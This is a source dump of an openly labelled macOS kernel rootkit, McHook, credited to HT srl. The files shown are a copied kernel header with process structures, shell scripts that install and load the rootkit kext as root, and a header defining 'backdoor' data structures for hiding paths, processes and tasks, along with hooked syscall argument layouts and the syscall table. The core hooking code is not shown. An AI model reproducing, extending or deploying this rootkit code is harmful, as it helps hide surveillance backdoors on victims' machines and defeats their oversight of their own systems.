37 | struct {
38 | volatile uint32_t
39 | lck_mtxd_waiters:16,
40 | lck_mtxd_pri:8,
41 | lck_mtxd_ilocked:1,
42 | lck_mtxd_mlocked:1,
43 | lck_mtxd_promoted:1,
44 | lck_mtxd_spin:1,
45 | lck_mtxd_is_ext:1,
46 | lck_mtxd_pad3:3;
47 | } a;
48 | uint32_t lck_mtxd_state;
49 | } b;
50 | #if defined(__x86_64__)
51 | /* Pad field used as a canary, initialized to ~0 */
52 | uint32_t lck_mtxd_pad32;
53 | #endif
54 | } lck_mtxd;
55 | struct {
56 | struct _lck_mtx_ext_ *lck_mtxi_ptr;
57 | uint32_t lck_mtxi_tag;
58 | #if defined(__x86_64__)
59 | uint32_t lck_mtxi_pad32;
60 | #endif
61 | } lck_mtxi;
62 | } lck_mtx_sw;
63 | } m_lck_mtx_t;
64 |
65 | typedef struct m_lck_spin {
66 | volatile uintptr_t interlock;
67 | #if MACH_LDEBUG
68 | unsigned long lck_spin_pad[9]; /* XXX - usimple_lock_data_t */
69 | #endif
70 | } m_lck_spin_t;
71 |
72 | /*
73 | * Added by SPARTA, Inc.
74 | */
75 | /*
76 | * Login context.
77 | */
78 | struct lctx {
79 | LIST_ENTRY(lctx) lc_list; /* List of all login contexts. */
80 | LIST_HEAD(, proc) lc_members; /* Pointer to lc members. */
81 | int lc_mc; /* Member Count. */
82 | pid_t lc_id; /* Login context ID. */
83 |
84 | struct label *lc_label; /* Login context MAC label. */
85 | };
86 |
87 | SLIST_HEAD(klist, knote);
88 |
89 | struct proc {
90 | LIST_ENTRY(proc) p_list; /* List of all processes. */
91 |
92 | pid_t p_pid; /* Process identifier. (static)*/
93 | void * task; /* corresponding task (static)*/
94 | struct proc * p_pptr; /* Pointer to parent process.(LL) */
95 | pid_t p_ppid; /* process's parent pid number */
96 | pid_t p_pgrpid; /* process group id of the process (LL)*/
97 | uid_t p_uid;
98 | gid_t p_gid;
99 | uid_t p_ruid;
100 | gid_t p_rgid;
101 | uid_t p_svuid;
102 | gid_t p_svgid;
103 | uint64_t p_uniqueid; /* process uniqe ID */
104 |
105 | m_lck_mtx_t p_mlock; // [> mutex lock for proc <]
106 |
107 | char p_stat; /* S* process status. (PL)*/
108 | char p_shutdownstate;
109 | char p_kdebug; /* P_KDEBUG eq (CC)*/
110 | char p_btrace; /* P_BTRACE eq (CC)*/
111 |
112 | LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */
113 | LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/
114 | LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/
115 | TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */
116 |
117 | LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/
118 | TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */
119 |
120 | m_lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */
121 |
122 | /* substructures: */
123 | kauth_cred_t p_ucred; /* Process owner's identity. (PL) */
124 | struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */
125 | struct pstats *p_stats; /* Accounting/statistics (PL). */
126 | struct plimit *p_limit; /* Process limits.(PL) */
127 |
128 | struct sigacts *p_sigacts; /* Signal actions, state (PL) */
129 | int p_siglist; /* signals captured back from threads */
130 | m_lck_spin_t p_slock; /* spin lock for itimer/profil protection */
131 |
132 | #define p_rlimit p_limit->pl_rlimit
133 |
134 | struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */
135 | unsigned int p_flag; /* P_* flags. (atomic bit ops) */
136 | unsigned int p_lflag; /* local flags (PL) */
137 | unsigned int p_listflag; /* list flags (LL) */
138 | unsigned int p_ladvflag; /* local adv flags (atomic) */
139 | int p_refcount; /* number of outstanding users(LL) */
140 | int p_childrencnt; /* children holding ref on parent (LL) */
141 | int p_parentref; /* children lookup ref on parent (LL) */
142 |
143 | pid_t p_oppid; /* Save parent pid during ptrace. XXX */
144 | u_int p_xstat; /* Exit status for wait; also stop signal. */
145 |
146 | #ifdef _PROC_HAS_SCHEDINFO_
147 | /* may need cleanup, not used */
148 | u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */
149 | fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/
150 | u_int p_slptime; /* used by proc_compare */
151 | #endif /* _PROC_HAS_SCHEDINFO_ */
152 |
153 | struct itimerval p_realtimer; /* Alarm timer. (PSL) */
154 | struct timeval p_rtime; /* Real time.(PSL) */
155 | struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */
156 | struct itimerval p_vtimer_prof; /* (PSL) */
157 |
158 | struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */
159 | int p_debugger; /* NU 1: can exec set-bit programs if suser */
160 | boolean_t sigwait; /* indication to suspend (PL) */
161 | void *sigwait_thread; /* 'thread' holding sigwait(PL) */
162 | void *exit_thread; /* Which thread is exiting(PL) */
163 | int p_vforkcnt; /* number of outstanding vforks(PL) */
164 | void * p_vforkact; /* activation running this vfork proc)(static) */
165 | int p_fpdrainwait; /* (PFDL) */
166 | pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */
167 |
168 | /* Following fields are info from SIGCHLD (PL) */
169 | pid_t si_pid; /* (PL) */
170 | u_int si_status; /* (PL) */
171 | u_int si_code; /* (PL) */
172 | uid_t si_uid; /* (PL) */
173 |
174 | void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */
175 |
176 | #if CONFIG_DTRACE
177 | user_addr_t p_dtrace_argv; /* (write once, read only after that) */
178 | user_addr_t p_dtrace_envp; /* (write once, read only after that) */
179 | lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */
180 | int p_dtrace_probes; /* (PL) are there probes for this proc? */
181 | u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */
182 | uint8_t p_dtrace_stop; /* indicates a DTrace-desired stop */
183 | struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */
184 | struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */
185 | struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */
186 | struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */
187 | #endif /* CONFIG_DTRACE */
188 |
189 | /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */
190 | /* The following fields are all copied upon creation in fork. */
191 | #define p_startcopy p_argslen
192 |
193 | u_int p_argslen; /* Length of process arguments. */
194 | int p_argc; /* saved argc for sysctl_procargs() */
195 | user_addr_t user_stack; /* where user stack was allocated */
196 | struct vnode *p_textvp; /* Vnode of executable. */
197 | off_t p_textoff; /* offset in executable vnode */
198 |
199 | sigset_t p_sigmask; /* DEPRECATED */
200 | sigset_t p_sigignore; /* Signals being ignored. (PL) */
201 | sigset_t p_sigcatch; /* Signals being caught by user.(PL) */
202 |
203 | u_char p_priority; /* (NU) Process priority. */
204 | u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */
205 | char p_nice; /* Process "nice" value.(PL) */
206 | u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */
207 |
208 | //#if CONFIG_MACF
209 | int p_mac_enforce; /* MAC policy enforcement control */
210 | //#endif
211 |
212 | char p_comm[MAXCOMLEN+1];
213 | char p_name[(2*MAXCOMLEN)+1]; /* PL */
214 |
215 | struct pgrp *p_pgrp; /* Pointer to process group. (LL) */
216 | #if CONFIG_EMBEDDED
217 | int p_iopol_disk; /* disk I/O policy (PL) */
218 | #endif /* CONFIG_EMBEDDED */
219 | uint32_t p_csflags; /* flags for codesign (PL) */
220 | uint32_t p_pcaction; /* action for process control on starvation */
221 | uint8_t p_uuid[16]; /* from LC_UUID load command */
222 |
223 | /* End area that is copied on creation. */
224 | /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */
225 | #define p_endcopy p_aio_total_count
226 | int p_aio_total_count; /* all allocated AIO requests for this proc */
227 | int p_aio_active_count; /* all unfinished AIO requests for this proc */
228 | TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */
229 | TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */
230 |
231 | struct klist p_klist; /* knote list (PL ?)*/
232 |
233 | struct rusage *p_ru; /* Exit information. (PL) */
234 | int p_sigwaitcnt;
235 | thread_t p_signalholder;
236 | thread_t p_transholder;
237 |
238 | /* DEPRECATE following field */
239 | u_short p_acflag; /* Accounting flags. */
240 |
241 | struct lctx *p_lctx; /* Pointer to login context. */
242 | LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */
243 | user_addr_t p_threadstart; /* pthread start fn */
244 | user_addr_t p_wqthread; /* pthread workqueue fn */
245 | int p_pthsize; /* pthread size */
246 | user_addr_t p_targconc; /* target concurrency ptr */
247 | void * p_wqptr; /* workq ptr */
248 | int p_wqsize; /* allocated size */
249 | boolean_t p_wqiniting; /* semaphore to serialze wq_open */
250 | m_lck_spin_t p_wqlock; /* lock to protect work queue */
251 | struct timeval p_start; /* starting time */
252 | void * p_rcall;
253 | int p_ractive;
254 | int p_idversion; /* version of process identity */
255 | void * p_pthhash; /* pthread waitqueue hash */
256 | #if DIAGNOSTIC
257 | unsigned int p_fdlock_pc[4];
258 | unsigned int p_fdunlock_pc[4];
259 | #if SIGNAL_DEBUG
260 | unsigned int lockpc[8];
261 | unsigned int unlockpc[8];
262 | #endif /* SIGNAL_DEBUG */
263 | #endif /* DIAGNOSTIC */
264 | uint64_t p_dispatchqueue_offset;
265 | };
266 | #else
267 |
268 | #define decl_lck_mtx_data(class,name) class lck_mtx_t name;
269 | /*
270 | * Description of a process.
271 | *
272 | * This structure contains the information needed to manage a thread of
273 | * control, known in UN*X as a process; it has references to substructures
274 | * containing descriptions of things that the process uses, but may share
275 | * with related processes. The process structure and the substructures
276 | * are always addressible except for those marked "(PROC ONLY)" below,
277 | * which might be addressible only on a processor on which the process
278 | * is running.
279 | */
280 | struct proc {
281 | LIST_ENTRY(proc) p_list; /* List of all processes. */
282 |
283 | pid_t p_pid; /* Process identifier. (static)*/
284 | void * task; /* corresponding task (static)*/
285 | struct proc * p_pptr; /* Pointer to parent process.(LL) */
286 | pid_t p_ppid; /* process's parent pid number */
287 | pid_t p_pgrpid; /* process group id of the process (LL)*/
288 |
289 |
290 | char p_stat; /* S* process status. (PL)*/
291 | char p_shutdownstate;
292 | char p_kdebug; /* P_KDEBUG eq (CC)*/
293 | char p_btrace; /* P_BTRACE eq (CC)*/
294 |
295 | LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */
296 | LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/
297 | LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/
298 | TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */
299 |
300 | LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/
301 | TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */
302 |
303 |
304 | /* substructures: */
305 | kauth_cred_t p_ucred; /* Process owner's identity. (PL) */
306 | struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */
307 | struct pstats *p_stats; /* Accounting/statistics (PL). */
308 | struct plimit *p_limit; /* Process limits.(PL) */
309 |
310 | struct sigacts *p_sigacts; /* Signal actions, state (PL) */
311 |
312 | #define p_rlimit p_limit->pl_rlimit
313 |
314 | struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */
315 | unsigned int p_flag; /* P_* flags. (atomic bit ops) */
316 | unsigned int p_lflag; /* local flags (PL) */
317 | unsigned int p_listflag; /* list flags (LL) */
318 | unsigned int p_ladvflag; /* local adv flags (atomic) */
319 | int p_refcount; /* number of outstanding users(LL) */
320 | int p_childrencnt; /* children holding ref on parent (LL) */
321 | int p_parentref; /* children lookup ref on parent (LL) */
322 |
323 | pid_t p_oppid; /* Save parent pid during ptrace. XXX */
324 | u_int p_xstat; /* Exit status for wait; also stop signal. */
325 |
326 | #ifdef _PROC_HAS_SCHEDINFO_
327 | /* may need cleanup, not used */
328 | u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */
329 | fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/
330 | u_int p_slptime; /* used by proc_compare */
331 | #endif /* _PROC_HAS_SCHEDINFO_ */
332 |
333 | struct itimerval p_realtimer; /* Alarm timer. (PSL) */
334 | struct timeval p_rtime; /* Real time.(PSL) */
335 | struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */
336 | struct itimerval p_vtimer_prof; /* (PSL) */
337 |
338 | struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */
339 | int p_debugger; /* NU 1: can exec set-bit programs if suser */
340 | boolean_t sigwait; /* indication to suspend (PL) */
341 | void *sigwait_thread; /* 'thread' holding sigwait(PL) */
342 | void *exit_thread; /* Which thread is exiting(PL) */
343 | int p_vforkcnt; /* number of outstanding vforks(PL) */
344 | void * p_vforkact; /* activation running this vfork proc)(static) */
345 | int p_fpdrainwait; /* (PFDL) */
346 | pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */
347 |
348 | /* Following fields are info from SIGCHLD (PL) */
349 | pid_t si_pid; /* (PL) */
350 | u_int si_status; /* (PL) */
351 | u_int si_code; /* (PL) */
352 | uid_t si_uid; /* (PL) */
353 |
354 | void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */
355 |
356 | #if CONFIG_DTRACE
357 | user_addr_t p_dtrace_argv; /* (write once, read only after that) */
358 | user_addr_t p_dtrace_envp; /* (write once, read only after that) */
359 | int p_dtrace_probes; /* (PL) are there probes for this proc? */
360 | u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */
361 | struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */
362 | struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */
363 | struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */
364 | struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */
365 | #endif /* CONFIG_DTRACE */
366 |
367 | /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */
368 | /* The following fields are all copied upon creation in fork. */
369 | #define p_startcopy p_argslen
370 |
371 | u_int p_argslen; /* Length of process arguments. */
372 | int p_argc; /* saved argc for sysctl_procargs() */
373 | user_addr_t user_stack; /* where user stack was allocated */
374 | struct vnode *p_textvp; /* Vnode of executable. */
375 | off_t p_textoff; /* offset in executable vnode */
376 |
377 | sigset_t p_sigmask; /* DEPRECATED */
378 | sigset_t p_sigignore; /* Signals being ignored. (PL) */
379 | sigset_t p_sigcatch; /* Signals being caught by user.(PL) */
380 |
381 | u_char p_priority; /* (NU) Process priority. */
382 | u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */
383 | char p_nice; /* Process "nice" value.(PL) */
384 | u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */
385 |
386 | //#if CONFIG_MACF
387 | int p_mac_enforce; /* MAC policy enforcement control */
388 | //#endif
389 |
390 | char p_comm[MAXCOMLEN+1];
391 | char p_name[(2*MAXCOMLEN)+1]; /* PL */
392 |
393 | struct pgrp *p_pgrp; /* Pointer to process group. (LL) */
394 | int p_iopol_disk; /* disk I/O policy (PL) */
395 | uint32_t p_csflags; /* flags for codesign (PL) */
396 |
397 | /* End area that is copied on creation. */
398 | /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */
399 | #define p_endcopy aio_active_count
400 | int aio_active_count; /* entries on aio_activeq */
401 | int aio_done_count; /* entries on aio_doneq */
402 | TAILQ_HEAD( , aio_workq_entry ) aio_activeq; /* active async IO requests */
403 | TAILQ_HEAD( , aio_workq_entry ) aio_doneq; /* completed async IO requests */
404 |
405 | struct rusage *p_ru; /* Exit information. (PL) */
406 | thread_t p_signalholder;
407 | thread_t p_transholder;
408 |
409 | /* DEPRECATE following field */
410 | u_short p_acflag; /* Accounting flags. */
411 |
412 | struct lctx *p_lctx; /* Pointer to login context. */
413 | LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */
414 | user_addr_t p_threadstart; /* pthread start fn */
415 | user_addr_t p_wqthread; /* pthread workqueue fn */
416 | int p_pthsize; /* pthread size */
417 | void * p_wqptr; /* workq ptr */
418 | int p_wqsize; /* allocated size */
419 | struct timeval p_start; /* starting time */
420 | void * p_rcall;
421 | int p_ractive;
422 | int p_idversion; /* version of process identity */
423 | #if DIAGNOSTIC
424 | unsigned int p_fdlock_pc[4];
425 | unsigned int p_fdunlock_pc[4];
426 | #if SIGNAL_DEBUG
427 | unsigned int lockpc[8];
428 | unsigned int unlockpc[8];
429 | #endif /* SIGNAL_DEBUG */
430 | #endif /* DIAGNOSTIC */
431 | };
432 | #endif
433 |
434 | /* Lock and unlock a login context. */
435 | #define LCTX_LOCK(lc) lck_mtx_lock(&(lc)->lc_mtx)
436 | #define LCTX_UNLOCK(lc) lck_mtx_unlock(&(lc)->lc_mtx)
437 | #define LCTX_LOCKED(lc)
438 | //#define LCTX_LOCK_ASSERT(lc, type)
439 | //#define ALLLCTX_LOCK lck_mtx_lock(&alllctx_lock)
440 | //#define ALLLCTX_UNLOCK lck_mtx_unlock(&alllctx_lock)
441 | //extern lck_grp_t * lctx_lck_grp;
442 | //extern lck_grp_attr_t * lctx_lck_grp_attr;
443 | //extern lck_attr_t * lctx_lck_attr;
444 |
445 | #define PIDHASH(pid) (&pidhashtbl[(pid) & pidhash])
446 | //extern LIST_HEAD(pidhashhead, proc) *pidhashtbl;
447 | //extern u_long pidhash;
448 |
449 | #define PGRPHASH(pgid) (&pgrphashtbl[(pgid) & pgrphash])
450 | //extern LIST_HEAD(pgrphashhead, pgrp) *pgrphashtbl;
451 | //extern u_long pgrphash;
452 | #define SESSHASH(sessid) (&sesshashtbl[(sessid) & sesshash])
453 | //extern LIST_HEAD(sesshashhead, session) *sesshashtbl;
454 | //extern u_long sesshash;
455 |
456 | //extern lck_grp_t * proc_lck_grp;
457 | //extern lck_grp_attr_t * proc_lck_grp_attr;
458 | //extern lck_attr_t * proc_lck_attr;
459 |
460 | LIST_HEAD(proclist, proc);
461 |
462 | //extern struct proclist allproc; /* List of all processes. */
463 |
464 | #endif /* !_SYS_PROC_INTERNAL_H_ */
465 |
--------------------------------------------------------------------------------
/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | KEXT=/Users/test1/Library/Developer/Xcode/DerivedData/mchook-dbxvtdvdcdtdmrfqgacjaoqcflry/Build/Products/Release/mchook-64.kext
4 | cp -r $KEXT /tmp
5 |
6 | mv /tmp/mchook-64.kext/Contents/MacOS/mchook-64 /tmp/mchook-64.kext/Contents/MacOS/mchook
7 | chmod -R 744 /tmp/mchook-64.kext/*
8 | chown -R root:wheel /tmp/mchook-64.kext
9 |
10 | sed -i -e s/10\.4/11\.3/g /tmp/mchook-64.kext/Contents/Info.plist
11 | kextload -v /tmp/mchook-64.kext
12 |
13 |
--------------------------------------------------------------------------------
/stop.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | KEXT=/tmp/mchook-64.kext
4 | chmod -R 755 $KEXT/*
5 | chown -R test1:staff $KEXT
6 |
7 | kextunload $KEXT
8 |
--------------------------------------------------------------------------------
/structures.h:
--------------------------------------------------------------------------------
1 | /*
2 | * McHook - structures.h
3 | * OS X KSpace Rootkit
4 | *
5 | * Created by revenge on 20/03/2009
6 | * Copyright (C) HT srl 2009. All rights reserved
7 | *
8 | */
9 |
10 | #if __LP64__ || NS_BUILD_32_LIKE_64
11 | typedef int64_t NSInteger;
12 | typedef uint64_t NSUInteger;
13 | #else
14 | typedef int32_t NSInteger;
15 | typedef uint32_t NSUInteger;
16 | #endif
17 |
18 | #define PAD_(t) (sizeof(uint64_t) <= sizeof(t) \
19 | ? 0 : sizeof(uint64_t) - sizeof(t))
20 |
21 | #if BYTE_ORDER == LITTLE_ENDIAN
22 | #define PADL_(t) 0
23 | #define PADR_(t) PAD_(t)
24 | #else
25 | #define PADL_(t) PAD_(t)
26 | #define PADR_(t) 0
27 | #endif
28 |
29 | // BSD syscall(s)
30 | #define SYS_syscall 0
31 | #define SYS_exit 1
32 | #define SYS_fork 2
33 | #define SYS_read 3
34 | #define SYS_wait4 7
35 | #define SYS_setuid 23
36 | #define SYS_ptrace 26
37 | #define SYS_kill 37
38 | #define SYS_reboot 55
39 | #define SYS_shutdown 134
40 | #define SYS_getdirentries 196
41 | #define SYS_getattrlist 220
42 | #define SYS_getdirentriesattr 222
43 | #define SYS_getdirentries64 344
44 |
45 | // Mach-trap(s)
46 | #define TRAP_tfp 45
47 |
48 | #define MAX_PATH_ENTRIES 15
49 | #define MAX_BACKDOOR_ENTRIES 15
50 | #define MAX_USER_SIZE 20
51 | #define MAX_DIRNAME_SIZE 30
52 |
53 | typedef struct exclusion_list {
54 | char processname[20];
55 | int is_active;
56 | } exclusion_list_t;
57 |
58 | //
59 | // Per-Backdoor+Username (per-pid) data struct holding all the paths that the backdoor
60 | // needs to hide, filled in through ioctl requests
61 | //
62 | typedef struct reg_backdoors {
63 | char path[MAX_PATH_ENTRIES][MAX_DIRNAME_SIZE];
64 | char username[MAX_USER_SIZE];
65 | int path_counter;
66 | int is_active;
67 | int is_hidden;
68 | int is_task_hidden;
69 | int is_proc_hidden;
70 | proc_t p;
71 | } reg_backdoors_t;
72 |
73 | typedef struct symbol_32 {
74 | uint32_t hash;
75 | uint32_t address;
76 | } symbol32_t;
77 |
78 | typedef struct symbol_64 {
79 | uint64_t hash;
80 | uint64_t address;
81 | } symbol64_t;
82 |
83 | typedef struct os_version {
84 | uint32_t major;
85 | uint32_t minor;
86 | uint32_t bugfix;
87 | } os_version_t;
88 |
89 | typedef struct attribute_buffer {
90 | uint32_t length;
91 | attrreference_t name;
92 | } attribute_buffer_t;
93 |
94 | struct FInfoAttrBuf {
95 | unsigned long length;
96 | attrreference_t name;
97 | fsobj_type_t objType;
98 | char finderInfo[32];
99 | };
100 | typedef struct FInfoAttrBuf FInfoAttrBuf;
101 |
102 | typedef struct attr_list {
103 | u_short bitmapcount; // number of attr. bit sets in list (should be 5)
104 | u_int16_t reserved; // (to maintain 4-byte alignment)
105 | u_int32_t commonattr; // common attribute group
106 | u_int32_t volattr; // Volume attribute group
107 | u_int32_t dirattr; // directory attribute group
108 | u_int32_t fileattr; // file attribute group
109 | u_int32_t forkattr; // fork attribute group
110 | } attr_list_t;
111 |
112 | struct mk_read_args {
113 | char fd_l_[PADL_(int)];
114 | int fd;
115 | char fd_r_[PADR_(int)];
116 | char cbuf_l_[PADL_(user_addr_t)];
117 | user_addr_t cbuf;
118 | char cbuf_r_[PADR_(user_addr_t)];
119 | char nbyte_l_[PADL_(user_size_t)];
120 | user_size_t nbyte;
121 | char nbyte_r_[PADR_(user_size_t)];
122 | };
123 |
124 | struct mk_getdirentries_args {
125 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
126 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)];
127 | char count_l_[PADL_(u_int)]; u_int count; char count_r_[PADR_(u_int)];
128 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)];
129 | };
130 |
131 | struct mk_getdirentries64_args {
132 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
133 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)];
134 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)];
135 | char position_l_[PADL_(user_addr_t)]; user_addr_t position; char position_r_[PADR_(user_addr_t)];
136 | };
137 |
138 | //#if (defined(MAC_OS_X_VERSION_10_7) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_7)
139 | //struct mk_getdirentriesattr_args {
140 | //int fd;
141 | //struct attrlist *alist;
142 | //void *buffer;
143 | //size_t buffersize;
144 | //u_long *count;
145 | //u_long *basep;
146 | //u_long *newstate;
147 | //u_long options;
148 | //};
149 | //#else
150 | struct mk_getdirentriesattr_args {
151 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
152 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)];
153 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)];
154 | char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)];
155 | char count_l_[PADL_(user_addr_t)]; user_addr_t count; char count_r_[PADR_(user_addr_t)];
156 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)];
157 | char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char newstate_r_[PADR_(user_addr_t)];
158 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)];
159 | };
160 | //#endif
161 |
162 | struct mk_getattrlist_args {
163 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)];
164 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)];
165 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)];
166 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)];
167 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)];
168 | };
169 |
170 | struct mk_kill_args {
171 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)];
172 | char signum_l_[PADL_(int)]; int signum; char signum_r_[PADR_(int)];
173 | char posix_l_[PADL_(int)]; int posix; char posix_r_[PADR_(int)];
174 | };
175 |
176 | typedef int32_t sy_call_t (struct proc *, void *, int *);
177 | typedef void sy_munge_t (const void *, void *);
178 |
179 | // system call table
180 | struct sysent {
181 | int16_t sy_narg; // number of args
182 | int8_t sy_resv; // reserved
183 | int8_t sy_flags; // flags
184 | sy_call_t *sy_call; // implementing function
185 | sy_munge_t *sy_arg_munge32; // system call arguments munger for 32-bit process
186 | sy_munge_t *sy_arg_munge64; // system call arguments munger for 64-bit process
187 | int32_t sy_return_type; // system call return types
188 | uint16_t sy_arg_bytes; // Total size of arguments in bytes for
189 | // 32-bit system calls
190 | };
191 |
--------------------------------------------------------------------------------
/task_internal.h:
--------------------------------------------------------------------------------
1 | /*
2 | * task_internal.h
3 | * mchook
4 | *
5 | * Created by revenge on 9/23/10.
6 | * Copyright 2010 HT srl. All rights reserved.
7 | *
8 | */
9 |
10 | #define queue_first(q) ((q)->next)
11 | #define queue_next(qc) ((qc)->next)
12 | #define queue_end(q, qe) ((q) == (qe))
13 |
14 | struct queue_entry {
15 | struct queue_entry *next; /* next element */
16 | struct queue_entry *prev; /* previous element */
17 | };
18 |
19 | typedef struct queue_entry *queue_entry_t;
20 | typedef struct queue_entry queue_chain_t;
21 | typedef struct queue_entry queue_head_t;
22 |
23 | //extern queue_head_t tasks;
24 |
25 | /*
26 | * Common storage for exception actions.
27 | * There are arrays of these maintained at the activation, task, and host.
28 | */
29 | struct exception_action {
30 | struct ipc_port *port; /* exception port */
31 | thread_state_flavor_t flavor; /* state flavor to send */
32 | exception_behavior_t behavior; /* exception type to raise */
33 | boolean_t privileged; /* survives ipc_task_reset */
34 | };
35 |
36 | /*
37 | * Real segment descriptor.
38 | */
39 | struct real_descriptor {
40 | uint32_t limit_low:16, /* limit 0..15 */
41 | base_low:16, /* base 0..15 */
42 | base_med:8, /* base 16..23 */
43 | access:8, /* access byte */
44 | limit_high:4, /* limit 16..19 */
45 | granularity:4,/* granularity */
46 | base_high:8; /* base 24..31 */
47 | };
48 |
49 | struct user_ldt {
50 | unsigned int start; /* first descriptor in table */
51 | unsigned int count; /* how many descriptors in table */
52 | struct real_descriptor ldt[0]; /* descriptor table (variable) */
53 | };
54 |
55 | #define MAC_MAX_SLOTS 7
56 |
57 | struct label {
58 | int l_flags;
59 | union {
60 | void *l_ptr;
61 | long l_long;
62 | } l_perpolicy[MAC_MAX_SLOTS];
63 | };
64 |
65 | typedef struct ipc_labelh
66 | {
67 | natural_t lh_references;
68 | int lh_type;
69 | struct label lh_label;
70 | ipc_port_t lh_port;
71 | //decl_lck_mtx_data(, lh_lock_data)
72 | uint32_t lh_lock_data[1];
73 | } *ipc_labelh_t;
74 |
75 |
76 | #define MACHINE_TASK \
77 | struct user_ldt *i386_ldt; \
78 | void* task_debug;
79 |
80 | #define TASK_PORT_REGISTER_MAX 3
81 |
82 | #define task_lock(task) lck_mtx_lock(&(task)->lock)
83 | #define task_unlock(task) lck_mtx_unlock(&(task)->lock)
84 |
85 | struct task {
86 | /* Synchronization/destruction information */
87 | //decl_lck_mtx_data(,lock) /* Task's lock */
88 | //lck_mtx_t *lock;
89 | uint32_t lock;
90 | uint32_t pad_lock; // leopard/snow padding
91 |
92 | uint32_t ref_count; /* Number of references to me */
93 | boolean_t active; /* Task has not been terminated */
94 | boolean_t halting; /* Task is being halted */
95 |
96 | /* Miscellaneous */
97 | vm_map_t map; /* Address space description */
98 |
99 | uint32_t pad_tasks; // snow leopard padding
100 |
101 | queue_chain_t tasks; /* global list of tasks */
